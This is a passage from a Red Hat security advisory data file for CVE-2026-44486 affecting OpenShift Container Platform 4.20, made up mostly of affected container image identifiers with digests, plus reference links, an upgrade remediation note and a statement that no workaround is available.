"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44486"
},
{
"category": "external",
"summary": "RHBZ#2487947",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487947"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44486",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44486"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44486",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44486"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc",
"url": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc"
}
],
"release_date": "2026-06-11T15:39:07.714000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:26:48+00:00",
"details": "For OpenShift Container Platform 4.20 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:5a2bec1f74236deb9519ab5232146c57d2afdb8f8db6773abbb50027150eb8ad\n\n (For s390x architecture)\n The image digest is sha256:168bf6fa86ad2dae55203e833352d47a1284c4db4f42a87bfe8555da97a4f5b3\n\n (For ppc64le architecture)\n The image digest is sha256:df8f0087646c952daae01c4f5ab625bdb95b317cfa790f6841309e8d131c6f89\n\n (For aarch64 architecture)\n The image digest is sha256:2e98640a8f567bb8aeab95719d0fea4048658e7edb093377d9ca08262d4e53f0\n\nAll OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
